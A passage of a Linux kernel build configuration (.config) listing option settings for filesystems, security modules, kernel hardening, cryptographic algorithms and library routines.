CONFIG_NTFS3_LZX_XPRESS=y
CONFIG_NTFS3_FS_POSIX_ACL=y
# end of DOS/FAT/EXFAT/NT Filesystems

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_VMCORE=y
# CONFIG_PROC_VMCORE_DEVICE_DUMP is not set
CONFIG_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_PROC_CHILDREN=y
CONFIG_PROC_PID_ARCH_STATUS=y
CONFIG_KERNFS=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
CONFIG_TMPFS_XATTR=y
# CONFIG_TMPFS_INODE64 is not set
CONFIG_TMPFS_QUOTA=y
CONFIG_ARCH_SUPPORTS_HUGETLBFS=y
CONFIG_HUGETLBFS=y
# CONFIG_HUGETLB_PAGE_OPTIMIZE_VMEMMAP_DEFAULT_ON is not set
CONFIG_HUGETLB_PAGE=y
CONFIG_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y
CONFIG_HUGETLB_PMD_PAGE_TABLE_SHARING=y
CONFIG_ARCH_HAS_GIGANTIC_PAGE=y
CONFIG_CONFIGFS_FS=y
# end of Pseudo filesystems

CONFIG_MISC_FILESYSTEMS=y
CONFIG_ORANGEFS_FS=y
CONFIG_ADFS_FS=y
# CONFIG_ADFS_FS_RW is not set
CONFIG_AFFS_FS=y
CONFIG_ECRYPT_FS=y
CONFIG_ECRYPT_FS_MESSAGING=y
CONFIG_HFS_FS=y
CONFIG_HFSPLUS_FS=y
CONFIG_BEFS_FS=y
# CONFIG_BEFS_DEBUG is not set
CONFIG_BFS_FS=y
CONFIG_JFFS2_FS=y
CONFIG_JFFS2_FS_DEBUG=0
CONFIG_JFFS2_FS_WRITEBUFFER=y
# CONFIG_JFFS2_FS_WBUF_VERIFY is not set
CONFIG_JFFS2_SUMMARY=y
CONFIG_JFFS2_FS_XATTR=y
CONFIG_JFFS2_FS_POSIX_ACL=y
CONFIG_JFFS2_FS_SECURITY=y
CONFIG_JFFS2_COMPRESSION_OPTIONS=y
CONFIG_JFFS2_ZLIB=y
CONFIG_JFFS2_LZO=y
CONFIG_JFFS2_RTIME=y
CONFIG_JFFS2_RUBIN=y
# CONFIG_JFFS2_CMODE_NONE is not set
CONFIG_JFFS2_CMODE_PRIORITY=y
# CONFIG_JFFS2_CMODE_SIZE is not set
# CONFIG_JFFS2_CMODE_FAVOURLZO is not set
CONFIG_UBIFS_FS=y
CONFIG_UBIFS_FS_ADVANCED_COMPR=y
CONFIG_UBIFS_FS_LZO=y
CONFIG_UBIFS_FS_ZLIB=y
CONFIG_UBIFS_FS_ZSTD=y
CONFIG_UBIFS_ATIME_SUPPORT=y
CONFIG_UBIFS_FS_XATTR=y
CONFIG_UBIFS_FS_SECURITY=y
# CONFIG_UBIFS_FS_AUTHENTICATION is not set
CONFIG_CRAMFS=y
CONFIG_CRAMFS_BLOCKDEV=y
CONFIG_CRAMFS_MTD=y
CONFIG_SQUASHFS=y
# CONFIG_SQUASHFS_FILE_CACHE is not set
CONFIG_SQUASHFS_FILE_DIRECT=y
CONFIG_SQUASHFS_DECOMP_MULTI=y
# CONFIG_SQUASHFS_CHOICE_DECOMP_BY_MOUNT is not set
# CONFIG_SQUASHFS_COMPILE_DECOMP_SINGLE is not set
CONFIG_SQUASHFS_COMPILE_DECOMP_MULTI=y
# CONFIG_SQUASHFS_COMPILE_DECOMP_MULTI_PERCPU is not set
# CONFIG_SQUASHFS_MOUNT_DECOMP_THREADS is not set
CONFIG_SQUASHFS_XATTR=y
# CONFIG_SQUASHFS_COMP_CACHE_FULL is not set
CONFIG_SQUASHFS_ZLIB=y
CONFIG_SQUASHFS_LZ4=y
CONFIG_SQUASHFS_LZO=y
CONFIG_SQUASHFS_XZ=y
CONFIG_SQUASHFS_ZSTD=y
CONFIG_SQUASHFS_4K_DEVBLK_SIZE=y
# CONFIG_SQUASHFS_EMBEDDED is not set
CONFIG_SQUASHFS_FRAGMENT_CACHE_SIZE=3
CONFIG_MINIX_FS=y
CONFIG_OMFS_FS=y
CONFIG_HPFS_FS=y
CONFIG_QNX4FS_FS=y
CONFIG_QNX6FS_FS=y
# CONFIG_QNX6FS_DEBUG is not set
CONFIG_ROMFS_FS=y
# CONFIG_ROMFS_BACKED_BY_BLOCK is not set
# CONFIG_ROMFS_BACKED_BY_MTD is not set
CONFIG_ROMFS_BACKED_BY_BOTH=y
CONFIG_ROMFS_ON_BLOCK=y
CONFIG_ROMFS_ON_MTD=y
CONFIG_PSTORE=y
CONFIG_PSTORE_DEFAULT_KMSG_BYTES=10240
CONFIG_PSTORE_COMPRESS=y
# CONFIG_PSTORE_CONSOLE is not set
# CONFIG_PSTORE_PMSG is not set
# CONFIG_PSTORE_RAM is not set
# CONFIG_PSTORE_BLK is not set
CONFIG_UFS_FS=y
CONFIG_UFS_FS_WRITE=y
# CONFIG_UFS_DEBUG is not set
CONFIG_EROFS_FS=y
# CONFIG_EROFS_FS_DEBUG is not set
CONFIG_EROFS_FS_XATTR=y
CONFIG_EROFS_FS_POSIX_ACL=y
CONFIG_EROFS_FS_SECURITY=y
# CONFIG_EROFS_FS_BACKED_BY_FILE is not set
CONFIG_EROFS_FS_ZIP=y
# CONFIG_EROFS_FS_ZIP_LZMA is not set
# CONFIG_EROFS_FS_ZIP_DEFLATE is not set
# CONFIG_EROFS_FS_ZIP_ZSTD is not set
# CONFIG_EROFS_FS_ZIP_ACCEL is not set
# CONFIG_EROFS_FS_PCPU_KTHREAD is not set
# CONFIG_EROFS_FS_PAGE_CACHE_SHARE is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=y
# CONFIG_NFS_V2 is not set
CONFIG_NFS_V3=y
CONFIG_NFS_V3_ACL=y
CONFIG_NFS_V4=y
# CONFIG_NFS_SWAP is not set
CONFIG_NFS_V4_0=y
CONFIG_NFS_V4_2=y
CONFIG_PNFS_FILE_LAYOUT=y
CONFIG_PNFS_BLOCK=y
CONFIG_PNFS_FLEXFILE_LAYOUT=y
CONFIG_NFS_V4_1_IMPLEMENTATION_ID_DOMAIN="kernel.org"
# CONFIG_NFS_V4_1_MIGRATION is not set
CONFIG_NFS_V4_SECURITY_LABEL=y
CONFIG_ROOT_NFS=y
CONFIG_NFS_FSCACHE=y
# CONFIG_NFS_USE_LEGACY_DNS is not set
CONFIG_NFS_USE_KERNEL_DNS=y
# CONFIG_NFS_DISABLE_UDP_SUPPORT is not set
CONFIG_NFS_V4_2_READ_PLUS=y
CONFIG_NFSD=y
# CONFIG_NFSD_V2 is not set
CONFIG_NFSD_V3_ACL=y
CONFIG_NFSD_V4=y
CONFIG_NFSD_PNFS=y
CONFIG_NFSD_BLOCKLAYOUT=y
CONFIG_NFSD_SCSILAYOUT=y
CONFIG_NFSD_FLEXFILELAYOUT=y
CONFIG_NFSD_V4_2_INTER_SSC=y
CONFIG_NFSD_V4_SECURITY_LABEL=y
# CONFIG_NFSD_LEGACY_CLIENT_TRACKING is not set
# CONFIG_NFSD_V4_POSIX_ACLS is not set
CONFIG_GRACE_PERIOD=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_NFS_ACL_SUPPORT=y
CONFIG_NFS_COMMON=y
# CONFIG_NFS_LOCALIO is not set
CONFIG_NFS_V4_2_SSC_HELPER=y
CONFIG_SUNRPC=y
CONFIG_SUNRPC_GSS=y
CONFIG_SUNRPC_BACKCHANNEL=y
CONFIG_RPCSEC_GSS_KRB5=y
# CONFIG_SUNRPC_DEBUG is not set
# CONFIG_SUNRPC_XPRT_RDMA is not set
CONFIG_CEPH_FS=y
CONFIG_CEPH_FSCACHE=y
CONFIG_CEPH_FS_POSIX_ACL=y
# CONFIG_CEPH_FS_SECURITY_LABEL is not set
CONFIG_CIFS=y
# CONFIG_CIFS_STATS2 is not set
CONFIG_CIFS_ALLOW_INSECURE_LEGACY=y
CONFIG_CIFS_UPCALL=y
CONFIG_CIFS_XATTR=y
CONFIG_CIFS_POSIX=y
CONFIG_CIFS_DEBUG=y
# CONFIG_CIFS_DEBUG2 is not set
# CONFIG_CIFS_DEBUG_DUMP_KEYS is not set
CONFIG_CIFS_DFS_UPCALL=y
CONFIG_CIFS_SWN_UPCALL=y
CONFIG_CIFS_SMB_DIRECT=y
CONFIG_CIFS_FSCACHE=y
# CONFIG_CIFS_ROOT is not set
# CONFIG_CIFS_COMPRESSION is not set
CONFIG_SMB_SERVER=y
# CONFIG_SMB_SERVER_SMBDIRECT is not set
# CONFIG_SMB_SERVER_CHECK_CAP_NET_ADMIN is not set
# CONFIG_SMB_SERVER_KERBEROS5 is not set
CONFIG_SMBDIRECT=y
CONFIG_SMBFS=y
# CONFIG_CODA_FS is not set
CONFIG_AFS_FS=y
# CONFIG_AFS_DEBUG is not set
CONFIG_AFS_FSCACHE=y
# CONFIG_AFS_DEBUG_CURSOR is not set
CONFIG_9P_FS=y
CONFIG_9P_FSCACHE=y
CONFIG_9P_FS_POSIX_ACL=y
CONFIG_9P_FS_SECURITY=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="utf8"
CONFIG_NLS_CODEPAGE_437=y
CONFIG_NLS_CODEPAGE_737=y
CONFIG_NLS_CODEPAGE_775=y
CONFIG_NLS_CODEPAGE_850=y
CONFIG_NLS_CODEPAGE_852=y
CONFIG_NLS_CODEPAGE_855=y
CONFIG_NLS_CODEPAGE_857=y
CONFIG_NLS_CODEPAGE_860=y
CONFIG_NLS_CODEPAGE_861=y
CONFIG_NLS_CODEPAGE_862=y
CONFIG_NLS_CODEPAGE_863=y
CONFIG_NLS_CODEPAGE_864=y
CONFIG_NLS_CODEPAGE_865=y
CONFIG_NLS_CODEPAGE_866=y
CONFIG_NLS_CODEPAGE_869=y
CONFIG_NLS_CODEPAGE_936=y
CONFIG_NLS_CODEPAGE_950=y
CONFIG_NLS_CODEPAGE_932=y
CONFIG_NLS_CODEPAGE_949=y
CONFIG_NLS_CODEPAGE_874=y
CONFIG_NLS_ISO8859_8=y
CONFIG_NLS_CODEPAGE_1250=y
CONFIG_NLS_CODEPAGE_1251=y
CONFIG_NLS_ASCII=y
CONFIG_NLS_ISO8859_1=y
CONFIG_NLS_ISO8859_2=y
CONFIG_NLS_ISO8859_3=y
CONFIG_NLS_ISO8859_4=y
CONFIG_NLS_ISO8859_5=y
CONFIG_NLS_ISO8859_6=y
CONFIG_NLS_ISO8859_7=y
CONFIG_NLS_ISO8859_9=y
CONFIG_NLS_ISO8859_13=y
CONFIG_NLS_ISO8859_14=y
CONFIG_NLS_ISO8859_15=y
CONFIG_NLS_KOI8_R=y
CONFIG_NLS_KOI8_U=y
CONFIG_NLS_MAC_ROMAN=y
CONFIG_NLS_MAC_CELTIC=y
CONFIG_NLS_MAC_CENTEURO=y
CONFIG_NLS_MAC_CROATIAN=y
CONFIG_NLS_MAC_CYRILLIC=y
CONFIG_NLS_MAC_GAELIC=y
CONFIG_NLS_MAC_GREEK=y
CONFIG_NLS_MAC_ICELAND=y
CONFIG_NLS_MAC_INUIT=y
CONFIG_NLS_MAC_ROMANIAN=y
CONFIG_NLS_MAC_TURKISH=y
CONFIG_NLS_UTF8=y
CONFIG_NLS_UCS2_UTILS=y
CONFIG_DLM=y
# CONFIG_DLM_DEBUG is not set
CONFIG_UNICODE=y
CONFIG_IO_WQ=y
# end of File systems

#
# Security options
#
CONFIG_KEYS=y
CONFIG_KEYS_REQUEST_CACHE=y
CONFIG_PERSISTENT_KEYRINGS=y
CONFIG_BIG_KEYS=y
CONFIG_TRUSTED_KEYS=y
# CONFIG_TRUSTED_KEYS_TPM is not set
# CONFIG_TRUSTED_KEYS_TEE is not set

#
# No trust source selected!
#
CONFIG_ENCRYPTED_KEYS=y
# CONFIG_USER_DECRYPTED_DATA is not set
CONFIG_KEY_DH_OPERATIONS=y
CONFIG_KEY_NOTIFICATIONS=y
# CONFIG_SECURITY_DMESG_RESTRICT is not set
# CONFIG_PROC_MEM_ALWAYS_FORCE is not set
CONFIG_PROC_MEM_FORCE_PTRACE=y
# CONFIG_PROC_MEM_NO_FORCE is not set
CONFIG_SECURITY=y
CONFIG_HAS_SECURITY_AUDIT=y
CONFIG_SECURITYFS=y
CONFIG_SECURITY_NETWORK=y
CONFIG_SECURITY_INFINIBAND=y
CONFIG_SECURITY_NETWORK_XFRM=y
CONFIG_SECURITY_PATH=y
# CONFIG_INTEL_TXT is not set
CONFIG_LSM_MMAP_MIN_ADDR=65536
# CONFIG_STATIC_USERMODEHELPER is not set
CONFIG_SECURITY_SELINUX=y
CONFIG_SECURITY_SELINUX_BOOTPARAM=y
CONFIG_SECURITY_SELINUX_DEVELOP=y
CONFIG_SECURITY_SELINUX_AVC_STATS=y
CONFIG_SECURITY_SELINUX_SIDTAB_HASH_BITS=9
CONFIG_SECURITY_SELINUX_SID2STR_CACHE_SIZE=256
CONFIG_SECURITY_SELINUX_AVC_HASH_BITS=9
# CONFIG_SECURITY_SELINUX_DEBUG is not set
# CONFIG_SECURITY_SMACK is not set
CONFIG_SECURITY_TOMOYO=y
CONFIG_SECURITY_TOMOYO_MAX_ACCEPT_ENTRY=64
CONFIG_SECURITY_TOMOYO_MAX_AUDIT_LOG=32
CONFIG_SECURITY_TOMOYO_OMIT_USERSPACE_LOADER=y
CONFIG_SECURITY_TOMOYO_INSECURE_BUILTIN_SETTING=y
# CONFIG_SECURITY_APPARMOR is not set
# CONFIG_SECURITY_LOADPIN is not set
CONFIG_SECURITY_YAMA=y
CONFIG_SECURITY_SAFESETID=y
CONFIG_SECURITY_LOCKDOWN_LSM=y
CONFIG_SECURITY_LOCKDOWN_LSM_EARLY=y
CONFIG_LOCK_DOWN_KERNEL_FORCE_NONE=y
# CONFIG_LOCK_DOWN_KERNEL_FORCE_INTEGRITY is not set
# CONFIG_LOCK_DOWN_KERNEL_FORCE_CONFIDENTIALITY is not set
CONFIG_SECURITY_LANDLOCK=y
# CONFIG_SECURITY_IPE is not set
CONFIG_INTEGRITY=y
CONFIG_INTEGRITY_SIGNATURE=y
CONFIG_INTEGRITY_ASYMMETRIC_KEYS=y
CONFIG_INTEGRITY_TRUSTED_KEYRING=y
CONFIG_INTEGRITY_AUDIT=y
CONFIG_IMA=y
CONFIG_IMA_MEASURE_PCR_IDX=10
CONFIG_IMA_LSM_RULES=y
CONFIG_IMA_NG_TEMPLATE=y
# CONFIG_IMA_SIG_TEMPLATE is not set
CONFIG_IMA_DEFAULT_TEMPLATE="ima-ng"
# CONFIG_IMA_DEFAULT_HASH_SHA1 is not set
CONFIG_IMA_DEFAULT_HASH_SHA256=y
# CONFIG_IMA_DEFAULT_HASH_SHA512 is not set
# CONFIG_IMA_DEFAULT_HASH_WP512 is not set
CONFIG_IMA_DEFAULT_HASH="sha256"
CONFIG_IMA_WRITE_POLICY=y
CONFIG_IMA_READ_POLICY=y
CONFIG_IMA_APPRAISE=y
# CONFIG_IMA_ARCH_POLICY is not set
# CONFIG_IMA_APPRAISE_BUILD_POLICY is not set
# CONFIG_IMA_APPRAISE_BOOTPARAM is not set
CONFIG_IMA_APPRAISE_MODSIG=y
# CONFIG_IMA_KEYRINGS_PERMIT_SIGNED_BY_BUILTIN_OR_SECONDARY is not set
# CONFIG_IMA_BLACKLIST_KEYRING is not set
# CONFIG_IMA_LOAD_X509 is not set
CONFIG_IMA_MEASURE_ASYMMETRIC_KEYS=y
CONFIG_IMA_QUEUE_EARLY_BOOT_KEYS=y
# CONFIG_IMA_DISABLE_HTABLE is not set
# CONFIG_IMA_STAGING is not set
# CONFIG_IMA_INIT_LATE_SYNC is not set
CONFIG_EVM=y
CONFIG_EVM_ATTR_FSUUID=y
CONFIG_EVM_ADD_XATTRS=y
# CONFIG_EVM_LOAD_X509 is not set
CONFIG_DEFAULT_SECURITY_SELINUX=y
# CONFIG_DEFAULT_SECURITY_TOMOYO is not set
# CONFIG_DEFAULT_SECURITY_DAC is not set
CONFIG_LSM="landlock,lockdown,yama,safesetid,integrity,tomoyo,selinux,bpf"

#
# Kernel hardening options
#

#
# Memory initialization
#
CONFIG_CC_HAS_AUTO_VAR_INIT_PATTERN=y
CONFIG_CC_HAS_AUTO_VAR_INIT_ZERO_BARE=y
CONFIG_CC_HAS_AUTO_VAR_INIT_ZERO=y
# CONFIG_INIT_STACK_NONE is not set
# CONFIG_INIT_STACK_ALL_PATTERN is not set
CONFIG_INIT_STACK_ALL_ZERO=y
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y
# CONFIG_INIT_ON_FREE_DEFAULT_ON is not set
CONFIG_CC_HAS_ZERO_CALL_USED_REGS=y
# CONFIG_ZERO_CALL_USED_REGS is not set
# end of Memory initialization

#
# Bounds checking
#
CONFIG_FORTIFY_SOURCE=y
CONFIG_HARDENED_USERCOPY=y
# CONFIG_HARDENED_USERCOPY_DEFAULT_ON is not set
# end of Bounds checking

#
# Hardening of kernel data structures
#
CONFIG_LIST_HARDENED=y
CONFIG_BUG_ON_DATA_CORRUPTION=y
# end of Hardening of kernel data structures

CONFIG_RANDSTRUCT_NONE=y
# end of Kernel hardening options
# end of Security options

CONFIG_ASYNC_CORE=y
CONFIG_ASYNC_MEMCPY=y
CONFIG_ASYNC_XOR=y
CONFIG_ASYNC_PQ=y
CONFIG_ASYNC_RAID6_RECOV=y
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=y
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_SIG=y
CONFIG_CRYPTO_SIG2=y
CONFIG_CRYPTO_SKCIPHER=y
CONFIG_CRYPTO_SKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_AKCIPHER2=y
CONFIG_CRYPTO_AKCIPHER=y
CONFIG_CRYPTO_KPP2=y
CONFIG_CRYPTO_KPP=y
CONFIG_CRYPTO_ACOMP2=y
CONFIG_CRYPTO_ACOMP=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
CONFIG_CRYPTO_USER=y
# CONFIG_CRYPTO_SELFTESTS is not set
CONFIG_CRYPTO_NULL=y
CONFIG_CRYPTO_PCRYPT=y
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_AUTHENC=y
CONFIG_CRYPTO_KRB5ENC=y
# CONFIG_CRYPTO_BENCHMARK is not set
CONFIG_CRYPTO_ENGINE=y
# end of Crypto core or helper

#
# Public-key cryptography
#
CONFIG_CRYPTO_RSA=y
CONFIG_CRYPTO_DH=y
# CONFIG_CRYPTO_DH_RFC7919_GROUPS is not set
CONFIG_CRYPTO_ECC=y
CONFIG_CRYPTO_ECDH=y
# CONFIG_CRYPTO_ECDSA is not set
CONFIG_CRYPTO_ECRDSA=y
CONFIG_CRYPTO_MLDSA=y
# end of Public-key cryptography

#
# Block ciphers
#
CONFIG_CRYPTO_AES=y
CONFIG_CRYPTO_ANUBIS=y
CONFIG_CRYPTO_ARIA=y
CONFIG_CRYPTO_BLOWFISH=y
CONFIG_CRYPTO_BLOWFISH_COMMON=y
CONFIG_CRYPTO_CAMELLIA=y
CONFIG_CRYPTO_CAST_COMMON=y
CONFIG_CRYPTO_CAST5=y
CONFIG_CRYPTO_CAST6=y
CONFIG_CRYPTO_DES=y
CONFIG_CRYPTO_KHAZAD=y
CONFIG_CRYPTO_SEED=y
CONFIG_CRYPTO_SERPENT=y
CONFIG_CRYPTO_SM4=y
CONFIG_CRYPTO_SM4_GENERIC=y
CONFIG_CRYPTO_TEA=y
CONFIG_CRYPTO_TWOFISH=y
CONFIG_CRYPTO_TWOFISH_COMMON=y
# end of Block ciphers

#
# Length-preserving ciphers and modes
#
CONFIG_CRYPTO_ADIANTUM=y
CONFIG_CRYPTO_ARC4=y
CONFIG_CRYPTO_CHACHA20=y
CONFIG_CRYPTO_CBC=y
CONFIG_CRYPTO_CTR=y
CONFIG_CRYPTO_CTS=y
CONFIG_CRYPTO_ECB=y
CONFIG_CRYPTO_HCTR2=y
CONFIG_CRYPTO_LRW=y
CONFIG_CRYPTO_XCTR=y
CONFIG_CRYPTO_XTS=y
# end of Length-preserving ciphers and modes

#
# AEAD (authenticated encryption with associated data) ciphers
#
CONFIG_CRYPTO_AEGIS128=y
CONFIG_CRYPTO_CHACHA20POLY1305=y
CONFIG_CRYPTO_CCM=y
CONFIG_CRYPTO_GCM=y
CONFIG_CRYPTO_GENIV=y
CONFIG_CRYPTO_SEQIV=y
CONFIG_CRYPTO_ECHAINIV=y
CONFIG_CRYPTO_ESSIV=y
# end of AEAD (authenticated encryption with associated data) ciphers

#
# Hashes, digests, and MACs
#
# CONFIG_CRYPTO_BLAKE2B is not set
CONFIG_CRYPTO_CMAC=y
CONFIG_CRYPTO_HMAC=y
# CONFIG_CRYPTO_MD4 is not set
# CONFIG_CRYPTO_MD5 is not set
CONFIG_CRYPTO_RMD160=y
CONFIG_CRYPTO_SHA1=y
CONFIG_CRYPTO_SHA256=y
CONFIG_CRYPTO_SHA512=y
CONFIG_CRYPTO_SHA3=y
# CONFIG_CRYPTO_SM3 is not set
CONFIG_CRYPTO_STREEBOG=y
CONFIG_CRYPTO_WP512=y
CONFIG_CRYPTO_XCBC=y
# CONFIG_CRYPTO_XXHASH is not set
# end of Hashes, digests, and MACs

#
# CRCs (cyclic redundancy checks)
#
# CONFIG_CRYPTO_CRC32C is not set
# CONFIG_CRYPTO_CRC32 is not set
# end of CRCs (cyclic redundancy checks)

#
# Compression
#
CONFIG_CRYPTO_DEFLATE=y
CONFIG_CRYPTO_LZO=y
CONFIG_CRYPTO_842=y
CONFIG_CRYPTO_LZ4=y
CONFIG_CRYPTO_LZ4HC=y
CONFIG_CRYPTO_ZSTD=y
# end of Compression

#
# Random number generation
#
# CONFIG_CRYPTO_DRBG is not set
# CONFIG_CRYPTO_JITTERENTROPY is not set
CONFIG_CRYPTO_KDF800108_CTR=y
# end of Random number generation

#
# Userspace interface (deprecated)
#
CONFIG_CRYPTO_USER_API=y
CONFIG_CRYPTO_USER_API_HASH=y
CONFIG_CRYPTO_USER_API_SKCIPHER=y
CONFIG_CRYPTO_USER_API_RNG=y
CONFIG_CRYPTO_USER_API_AEAD=y
CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE=y
# end of Userspace interface (deprecated)

#
# Accelerated Cryptographic Algorithms for CPU (x86)
#
CONFIG_CRYPTO_AES_NI_INTEL=y
CONFIG_CRYPTO_BLOWFISH_X86_64=y
CONFIG_CRYPTO_CAMELLIA_X86_64=y
CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64=y
CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64=y
CONFIG_CRYPTO_CAST5_AVX_X86_64=y
CONFIG_CRYPTO_CAST6_AVX_X86_64=y
CONFIG_CRYPTO_SERPENT_SSE2_X86_64=y
CONFIG_CRYPTO_SERPENT_AVX_X86_64=y
CONFIG_CRYPTO_SERPENT_AVX2_X86_64=y
CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64=y
CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64=y
CONFIG_CRYPTO_TWOFISH_X86_64=y
CONFIG_CRYPTO_TWOFISH_X86_64_3WAY=y
CONFIG_CRYPTO_TWOFISH_AVX_X86_64=y
CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64=y
# CONFIG_CRYPTO_ARIA_AESNI_AVX2_X86_64 is not set
# CONFIG_CRYPTO_ARIA_GFNI_AVX512_X86_64 is not set
CONFIG_CRYPTO_AEGIS128_AESNI_SSE2=y
# end of Accelerated Cryptographic Algorithms for CPU (x86)

CONFIG_CRYPTO_HW=y
CONFIG_CRYPTO_DEV_PADLOCK=y
CONFIG_CRYPTO_DEV_PADLOCK_AES=y
CONFIG_CRYPTO_DEV_PADLOCK_SHA=y
# CONFIG_CRYPTO_DEV_ATMEL_ECC is not set
# CONFIG_CRYPTO_DEV_ATMEL_SHA204A is not set
CONFIG_CRYPTO_DEV_CCP=y
CONFIG_CRYPTO_DEV_CCP_DD=y
# CONFIG_CRYPTO_DEV_SP_CCP is not set
# CONFIG_CRYPTO_DEV_SP_PSP is not set
# CONFIG_CRYPTO_DEV_NITROX_CNN55XX is not set
CONFIG_CRYPTO_DEV_QAT=y
CONFIG_CRYPTO_DEV_QAT_DH895xCC=y
CONFIG_CRYPTO_DEV_QAT_C3XXX=y
CONFIG_CRYPTO_DEV_QAT_C62X=y
# CONFIG_CRYPTO_DEV_QAT_4XXX is not set
# CONFIG_CRYPTO_DEV_QAT_420XX is not set
# CONFIG_CRYPTO_DEV_QAT_6XXX is not set
CONFIG_CRYPTO_DEV_QAT_DH895xCCVF=y
CONFIG_CRYPTO_DEV_QAT_C3XXXVF=y
CONFIG_CRYPTO_DEV_QAT_C62XVF=y
# CONFIG_CRYPTO_DEV_QAT_ERROR_INJECTION is not set
CONFIG_CRYPTO_DEV_VIRTIO=y
# CONFIG_CRYPTO_DEV_SAFEXCEL is not set
# CONFIG_CRYPTO_DEV_CCREE is not set
# CONFIG_CRYPTO_DEV_AMLOGIC_GXL is not set
CONFIG_ASYMMETRIC_KEY_TYPE=y
CONFIG_ASYMMETRIC_PUBLIC_KEY_SUBTYPE=y
CONFIG_X509_CERTIFICATE_PARSER=y
CONFIG_PKCS8_PRIVATE_KEY_PARSER=y
CONFIG_PKCS7_MESSAGE_PARSER=y
# CONFIG_PKCS7_WAIVE_AUTHATTRS_REJECTION_FOR_MLDSA is not set
CONFIG_PKCS7_TEST_KEY=y
CONFIG_SIGNED_PE_FILE_VERIFICATION=y
# CONFIG_FIPS_SIGNATURE_SELFTEST is not set

#
# Certificates for signature checking
#
CONFIG_MODULE_SIG_KEY="certs/signing_key.pem"
# CONFIG_MODULE_SIG_KEY_TYPE_RSA is not set
CONFIG_MODULE_SIG_KEY_TYPE_MLDSA_44=y
# CONFIG_MODULE_SIG_KEY_TYPE_MLDSA_65 is not set
# CONFIG_MODULE_SIG_KEY_TYPE_MLDSA_87 is not set
CONFIG_SYSTEM_TRUSTED_KEYRING=y
CONFIG_SYSTEM_TRUSTED_KEYS=""
# CONFIG_SYSTEM_EXTRA_CERTIFICATE is not set
CONFIG_SECONDARY_TRUSTED_KEYRING=y
# CONFIG_SECONDARY_TRUSTED_KEYRING_SIGNED_BY_BUILTIN is not set
# CONFIG_SYSTEM_BLACKLIST_KEYRING is not set
CONFIG_OPENSSL_SUPPORTS_ML_DSA=y
# end of Certificates for signature checking

CONFIG_CRYPTO_KRB5=y
# CONFIG_CRYPTO_KRB5_SELFTESTS is not set
CONFIG_BINARY_PRINTF=y

#
# Library routines
#
CONFIG_LINEAR_RANGES=y
# CONFIG_PACKING is not set
CONFIG_BITREVERSE=y
CONFIG_GENERIC_BITREVERSE=y
CONFIG_GENERIC_STRNCPY_FROM_USER=y
CONFIG_GENERIC_STRNLEN_USER=y
CONFIG_GENERIC_NET_UTILS=y
# CONFIG_CORDIC is not set
# CONFIG_PRIME_NUMBERS is not set
CONFIG_RATIONAL=y
CONFIG_GENERIC_IOMAP=y
CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y
CONFIG_ARCH_HAS_FAST_MULTIPLIER=y
CONFIG_ARCH_USE_SYM_ANNOTATIONS=y
CONFIG_CRC8=y
CONFIG_CRC16=y
CONFIG_CRC_CCITT=y
CONFIG_CRC_ITU_T=y
CONFIG_CRC_T10DIF=y
CONFIG_CRC_T10DIF_ARCH=y
CONFIG_CRC32=y
CONFIG_CRC32_ARCH=y
CONFIG_CRC64=y
CONFIG_CRC64_ARCH=y
CONFIG_CRC_OPTIMIZATIONS=y
CONFIG_CRYPTO_HASH_INFO=y
CONFIG_CRYPTO_LIB_UTILS=y
CONFIG_CRYPTO_LIB_AES=y
CONFIG_CRYPTO_LIB_AES_ARCH=y
CONFIG_CRYPTO_LIB_AES_CBC=y
CONFIG_CRYPTO_LIB_AES_CBC_MACS=y
CONFIG_CRYPTO_LIB_AES_CCM=y
CONFIG_CRYPTO_LIB_AES_CTR=y
CONFIG_CRYPTO_LIB_AES_ECB=y
CONFIG_CRYPTO_LIB_AES_GCM=y
CONFIG_CRYPTO_LIB_AES_XTS=y
CONFIG_CRYPTO_LIB_ARC4=y
CONFIG_CRYPTO_LIB_GF128MUL=y
CONFIG_CRYPTO_LIB_BLAKE2B=y
CONFIG_CRYPTO_LIB_BLAKE2S_ARCH=y
CONFIG_CRYPTO_LIB_CHACHA=y
CONFIG_CRYPTO_LIB_CHACHA_ARCH=y
CONFIG_CRYPTO_LIB_CURVE25519=y
CONFIG_CRYPTO_LIB_CURVE25519_ARCH=y
CONFIG_CRYPTO_LIB_CURVE25519_GENERIC=y
CONFIG_CRYPTO_LIB_DES=y
CONFIG_CRYPTO_LIB_GF128HASH=y
CONFIG_CRYPTO_LIB_GF128HASH_ARCH=y
CONFIG_CRYPTO_LIB_MD5=y
CONFIG_CRYPTO_LIB_MLDSA=y
CONFIG_CRYPTO_LIB_NH=y
CONFIG_CRYPTO_LIB_NH_ARCH=y
CONFIG_CRYPTO_LIB_POLY1305=y
CONFIG_CRYPTO_LIB_POLY1305_ARCH=y
CONFIG_CRYPTO_LIB_POLY1305_GENERIC=y
CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11
CONFIG_CRYPTO_LIB_CHACHA20POLY1305=y
CONFIG_CRYPTO_LIB_SHA1=y
CONFIG_CRYPTO_LIB_SHA1_ARCH=y
CONFIG_CRYPTO_LIB_SHA256=y
